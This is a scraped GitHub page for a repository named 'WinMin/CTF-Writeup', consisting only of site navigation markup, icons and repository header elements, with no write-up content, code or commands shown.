<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="68260909" data-scoped-search-url="/WinMin/CTF-Writeup/search" data-owner-scoped-search-url="/users/WinMin/search" data-unscoped-search-url="/search" data-turbo="false" action="/WinMin/CTF-Writeup/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="FzWtx0unGyg5FU452zGwi+y/WSErOVjBrVrugftMUHU0symFhEtigHlZQK+S1v8f4goudps8VoLF1p8skPhfDA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> WinMin </span> <span>/</span> CTF-Writeup
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>13</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
